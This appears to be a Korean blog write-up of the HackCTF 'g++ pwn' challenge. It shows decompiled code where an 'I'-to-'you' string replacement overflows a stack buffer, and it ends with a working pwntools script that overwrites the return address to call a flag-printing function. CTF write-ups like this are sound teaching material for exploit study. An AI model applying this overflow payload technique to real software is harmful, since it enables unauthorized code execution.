본문 바로가기

Pwnable/HackCTF

[ProjectH4C] HackCTF (g++ pwn)

 

gpwn 파일을 다운받아 코드를 확인해보면 다음과 같다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}

main 함수에서는 별 다른 건 없고 vuln 함수를 호출한다.

int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v5);
  std::string::string(&v4, "you", &v5);
  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);
  replace((std::string *)&v3);
  std::string::operator=(&input, &v3, &v6, &v4);
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\n", &s);
}

vuln 함수의 내용을 보니, c++로 작성된 듯 하다. 중간에 보면, you와 I라는 단어가 보이고 그 아래에 replace 함수를 호출한 것이 보인다.

또, s의 위치는 ebp-3C인데, fgets를 통해 32바이트만 입력 받는 것으로 보아서, 혹시 I와 you라는 단어를 이용하는 건가 싶어 gpwn을 실행 한 후 I를 입력해보았다.

 

 

replace 함수를 이용해 I를 모두 you로 바꾸어주는 것을 볼 수 있다. 만약 "I"를 30개 입력한다면, 실제 저장되는 값은 "you" 90개이고, ret에 접근하기엔 충분한 길이이기 때문에 이를 이용하여 공격하도록 한다. 

그 전에, gpwn에 정의된 함수 중 get_flag라는 함수를 먼저 보도록 한다.

int get_flag()
{
  return system("cat flag.txt");
}

ret에 0x08048F0D를 덮어씌우면, flag를 출력할 것이다. 페이로드는 다음과 같다.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3011)

flag = 0x08048F0D
payload = "I" * 21 + "\x90" + p32(flag) #"you"*21 = 63 bytes + "\x90" = 64bytes.
r.sendline(payload)
r.interactive()

buf [60bytes] + sfp [4bytes] = 64bytes 이므로, "you"*21 + "\x90" 로 채워준 뒤에 get_flag 주소를 넣도록 한다.

 

 

성공적으로 flag가 출력되었다.

'Pwnable > HackCTF' 카테고리의 다른 글

[ProjectH4C] HackCTF (1996)  (0) 2020.09.27
[ProjectH4C] HackCTF (poet)  (0) 2020.09.27
[ProjectH4C] HackCTF (RTL_World)  (0) 2020.09.27
[ProjectH4C] HackCTF (BOF_PIE)  (0) 2020.09.18
[ProjectH4C] HackCTF (Offset)  (0) 2020.09.18